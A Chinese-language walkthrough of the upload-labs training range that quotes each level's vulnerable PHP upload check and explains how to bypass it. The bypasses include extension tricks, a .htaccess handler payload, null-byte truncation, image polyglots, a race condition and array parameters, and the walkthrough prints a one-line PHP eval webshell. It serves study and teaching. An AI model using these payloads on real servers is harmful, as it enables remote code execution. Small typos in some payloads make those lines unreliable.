文件上传漏洞
漏洞简介
文件上传漏洞是指攻击者通过上传恶意文件来绕过安全控制,将不受信任的代码或文件上传到受害者服务器上,从而导致服务器被攻击、被控制、被破坏等问题。
一些网站的文件上传功能在设计上存在缺陷,攻击者可以利用这些漏洞,通过上传恶意文件渗透网络,从而获得非法利益和掌控被入侵网站的控制权。攻击者可以上传包含木马、病毒、蠕虫、僵尸网络等恶意程序的文件来进行攻击,这些程序可以在被攻击者服务器上进行远程执行。
文件上传漏洞通常会受到以下因素的影响:上传文件的类型、大小和位置、文件上传的途径、文件校验控制和文件后缀名的过滤。因此,安全人员需要对文件上传漏洞进行安全审计和检测,以确保服务器不受攻击。
upload-labs
pass-1 js检查
发现无法上传后缀为php的文件
查看源码
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
由源码可知只允许上传后缀为jpg png gif 的文件
用bp 抓包后将文件后缀改为 jpg 即可上传木马文件
pass-2 MIME验证绕过
遇到和上一关一样的问题无法直接上传
查看源码
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
发现可以通过的的文件后缀为 jpg png gif
MIME(Multipurpose Internet Mail Extensions,多功能Internet邮件扩展)类型也称为媒体类型或内容类型,是一个用于标识互联网上各种文档及其性质和格式的标准,最初是用于电子邮件协议中的扩展内容类型。MIME类型通常由两部分组成,用斜线” / “分隔,如”text/html“表示HTML文本,”image/jpeg“表示JPEG图像。
MIME类型主要包括文本、图像、多媒体、应用程序、消息和模型等六大类,常用的MIME类型如下:
-
text/plain 纯文本文档
-
text/html HTML文档
-
text/css css文件
-
application/javascript JavaScript文件
-
application/json JSON文件
-
application/xml XML文件
-
image/jpeg JPEG图像
-
image/png PNG图像
-
audio/mpeg MPEG音频文件
-
video/mp4 MP4视频文件
-
application/pdf PDF文件
通过bp抓包发现是通过connet-type 来验证,我们只需要把抓到的包中的改为 image/jpeg 即可上传
Content-Type是指在HTTP协议中,用于定义HTTP请求或响应中发送数据的内容类型,告诉接收方如何解析和呈现传输的数据。Content-Type通常由请求头或响应头中的Content-Type字段指定,格式为“Content-Type: type/subtype; charset=encoding”。
Content-Type的type可以指示MIME类型,常见的如:text、image、audio、video、application等。subtype通常与MIME类型有关,例如text类型的子类型有plain、html、css、javascript等,image类型的子类型有jpeg、png、gif等。
pass-3 黑名单绕过
查看源码发现不允许上传 .asp .aspx .php .jsp 为后缀的文件
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
但是我们可以通过其他形式绕过,比如.php、.phtml、.phps、.php5、.pht等类似的格式来绕过。
利用bp 抓包后把文件的后缀名改为 .ptml 即可成功上传
pass-4 htaccsee绕过
htaccsee 简介
.htaccess 是一种在 Apache HTTP 服务器下常用的配置文件,它提供了针对目录级别的、基于请求的 Web 服务器配置。.htaccess 文件被用来配置 Apache Web 服务器软件,用于指定在其管理的网站目录及其子目录中特定的服务配置选项。HTAccess文件包含指令,可以用于控制所在目录下文件的访问权限、允许特定的 HTTP 方法、设置默认文档、防止浏览器缓存等等。它还可以被用于重写 URL,以便将一个特定的 URL 重新定向到另一个位置来。需要提醒的是,对.htaccess文件的配置建议谨慎,不当的配置可能导致系统安全性和可用性的问题。
源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
禁止上传php”,”.php5”,”.html”,”.htm”,”.phtml”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,“pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,“等后缀文件
但是他没有禁止.htaccess文件,我们就可以利用htaccess文件来工作
创建一个后缀为.htaccess文件内容为
> <FilesMatch"4.jpg(上传的文件名.php)"> > SetHandler application/x-httpd-php > <FilesMatch>
这是一个.htaccess文件中的指令,它的作用是将文件 “4.jpg” 的处理程序设置为 PHP。这意味着服务器在处理 “4.jpg” 文件时将使用 PHP 解释器。该指令通常用于在服务器上执行 PHP 脚本,但在这种情况下,它会将一个非 PHP 文件(例如图片)也作为 PHP 文件处理。
或者创建的htaccess文件内容为
SetHandler application/x-httpd-php
这是一个在Apache HTTP服务器中的指令,它将指定的处理程序设置为 Apache 对 HTTP 请求的响应。在这种情况下,SetHandler application/x-httpd-php
将设置处理程序为 PHP。
将写好的htaccess文件上传 然后再上传木马文件即可
pass-6 大写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
这关添加了对htaccess的过滤,但是并没有将后缀进行大小写统一
所以我们抓包后把filename改为 .PHP 就可以了
pass7-空格绕过
这关没有对空格进行过滤
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
所以可以使用空格对其绕过
文件类型的识别一般都是根据文件内容前几个字节的特征码来判断的。而在本例中,将其文件名设置为test.php[空格].jpg,实际上发送给服务器的文件内容是PHP代码,但是由于文件名中包含了.jpg后缀,服务器端的文件类型识别机制会误判该文件类型为图像类型(image/jpeg),从而跳过文件类型的检查,接着进行后续的处理。这样就可以成功上传PHP恶意代码文件,而且该文件在执行时会被服务器当做图像文件,从而绕过了一定的安全限制。
pass-8点绕过
本关没有对点进行过滤
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
所以将上传的php文件后加点即可绕过
当我们在文件后加一个点,当我们上传了一个xxx.php.时,计算机还是会将其看作一个php文件执行,可是执行
$file_ext = strrchr($file_name, '.')
其最后参数$file_ext得到的值为 php. 与其设立的黑名单里并没有 php. 所以可以达到绕过的原理
pass-9$数据流绕过
这关没有对$ DATA进行过滤 $ DATA代表数据流中的“数据”标记。
数据流是指在计算机中传输数据的流程,通常适用于处理大量数据的场景,如实时数据处理、网络通信等。在数据流中,用于标识数据流内容的标记通常以符号开头,因此$DATA表示数据流中的数据标记,用于标识传输的数据内容。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
很简单,使用bp抓包后在.php 后面加上$ DATA即可绕过
pass-10点空格点绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
这关并没有过滤 jpg png 的后缀,可以在.php后加一个.jpg
或者在php后缀后加一个 点空格点 来绕过
pass-11双拼写绕过
这关对很多文件名进行了删除,我们只需要在后缀.php 的中间再接入一个php 即可绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
pass-12 %00白名单绕过
这关使用了白名单判断,首先定义了一个白名单的数组,用$file_ext获取了上传的文件的后缀
$temp_file = $_FILES['upload_file']['tmp_name'];
这段代码的作用是获取上传文件的临时文件名。在上传文件时,文件首先会被上传到服务器的临时目录,然后再通过move_uploaded_file()函数将其移动到指定的目录中。而在这个过程中,PHP脚本需要使用临时文件名来操作上传的文件。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
这段代码的作用是用于生成一个存储上传文件的路径和文件名。其中,$_GET[’save_path’].是通过GET方式获取的上传目录路径
“*rand(10,99)”是一个随机数,用于避免在同一秒内上传的文件名重复,“date(“YmdHis”)的作用是返回当前时间的格式化字符串,表示年月日时分秒,用于避免上传的文件名重复
file_ext是用户上传的文件的扩展名
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } } ?>
strrpos() 函数是获取某个字符串中指定字符的最后一次出现位置的函数,加1是为了使结果不包含”.“,最终得到的是文件名中末尾的扩展名。
substr() 函数用于从一个字符串中返回指定长度的字符。它接收三个参数:第一个是要操作的字符串,第二个参数是起始位置,第三个参数是要返回的字符个数。是截取
这关相较于前面的save_path是由get传参的,是我们可以控制的,所以我们可以更改save_path的值使用0x00截断
在Web开发中,如果开发者没有对用户上传的文件进行严格的检测和验证,就会存在0x00绕过漏洞。攻击者可以利用这个漏洞在上传文件中插入0x00字符,从而截断文件名和文件类型,欺骗服务器以为上传的是一种类型的文件,但实际上却执行了攻击者的恶意代码。
pass-130x00截断
is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传失败"; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
同样是上传路径 save_path 可以控制,我们依旧可以使用%00 截断,但由于本关使用的是post提交方法,不能直接修改文件,应该在hex中修改对应的十六进制的编码来截断
将数据包中的save_name改为 upload/2.php.jpg ,然后将hex中的php后改为00
pass-14图片木马上传
本关只允许上传 png jpg gif类型的图片,我们可以将恶意代码放在图片中来绕过
使用cmd命令来制作木马图片,在cmd命令中输入
copy/b 111.jpg + 123.txt ccc.png
把我们的一句话木马写入123.txt 记事本中
<?php eval(($_POST[123])?>
即可得到ccc.png的木马文件 我们用记事本打开ccc.png检查一句话木马是否抽入到图片中
我们直接上传木马图片,用bp抓包查看一句话木马是否存在
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; }
但是这关还使用了文件头验证,图片头验证的原理是通过读取上传文件的前几个字节,即文件头或魔术数,来确定文件的类型。每种文件类型都有一个固定的文件头或魔术数,这些信息通常存储在文件格式的规范文档中。通过读取这些信息,应用程序可以确定文件类型,并且可以拒绝上传非预期的文件类型。
所以还应该在抓包后在图片头加入 GIF98a
pass-17二次渲染
if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
本关使用了imagecreatefromjpeg()
是一个 PHP 内置的 GD 库函数,用来从一个 JPEG 文件中创建一个灰度或真彩色的图像资源对象,在后续的图像处理中常常会用到它。
它的基本语法为: (其中,$filename
是一个字符串类型的参数,代表待处理的 JPEG 图片的路径。)
resource imagecreatefromjpeg ( string $filename )
他将我们上传的图片进行了二次渲染,二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
我们可以将渲染后的图片下载下来然后和我们原本的图片马进行对比,将一句话木马插入到没有改变的地方即可
pass-18文件竞争
首先简单介绍条件竞争,其实原理很简单,比如当我们正在编辑或者访问一个文件时,我们是无法删除这个文件的,而服务器也是这样,当一个文件被上传到服务器上的时候,我们访问这个文件时,这个文件是会被我们占用的,是无法删除的
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
就像这一关,我们观察他的源码,发现他在获取了上传文件的后缀后并没有先对文件进行检测,而是先把文件保存后再对文件进行过滤,如果上传的文件不是其白名单内的后缀形式,就会用unlink函数 将文件删除,所以我们可直接用bp一直上传一个php的文件,然后再浏览器上访问,当我们浏览器访问成功后unlink函数就无法将该文件删除
我们用bp不断上传一个php文件同时在浏览器访问我们上传的文件
https//xxx.xxx.xxx.xxx//upload-labs/upload/xxx.php
当我们在浏览器上成功访问到我们上传的文件时,服务器便不能把我们上传的php文件删除从而达到绕过
pass-20文件名绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
我们查看源码发现他最后保存的格式是一个文件的形式,他会把文件保存为 upload/xxx.jpg 的形式
$img_path = UPLOAD_PATH . '/' .$file_name;
我们可以把最后上传的文件的’save_name改为 xxx.php/.这样就可以使最后保存为upload/xxx.php/. 会被认为是一个文件夹从而绕过
但是其最后上传后还是一个php文件而不会被认为是一个文件夹
我们这关也可以使用%00截断来绕过
pass-21数组绕过
我们查看这关的源码
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
首先使用了MINE 验证了上传的文件后缀,且使用的是白名单,
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!";
然后检查了post 提交的保存的文件名,也就是参数save_name的值,使用的也是白名单
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!";
最后再对文件进行上传
$file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else {
我们发现其在检查文件名时,是使用数组的方式检查
if (!is_array($file)) { $file = explode('.', strtolower($file)); }
这句话就是如果上传的文件名不是数组的形式的话,就将文件名对字符串中的点号. 进行explode分割,分割成数组,而在对文件名的验证是使用 end 函数截取的数组的最后一个元素
$ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix
所以我们可以把save_name的值用数组的形式写为
save_name[0]=xxx.php/ save_name[1]=null save_name[2]=jpg
这样即可绕过对于文件后缀的绕过,并且最后在执行上传时,最后的文件上传名称为 UPLOAD_PATH . ‘/’ .$file_name;
而$file_name = reset($file) . ‘.’ . $file[count($file) - 1];
reset($file)的值为数组的第一个元素为 xxx.php/ 而 $file[count($file) - 1]的值为数组长度减一的下标的数组元素即save_name[1]=null
所以最后得到的结果为 xxx.php/
而我们在上一关也说到 当上传为xxx.php/ 其最后的保存结果也还是php文件的形式。
$file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true;
将save_name 的值改为数组形式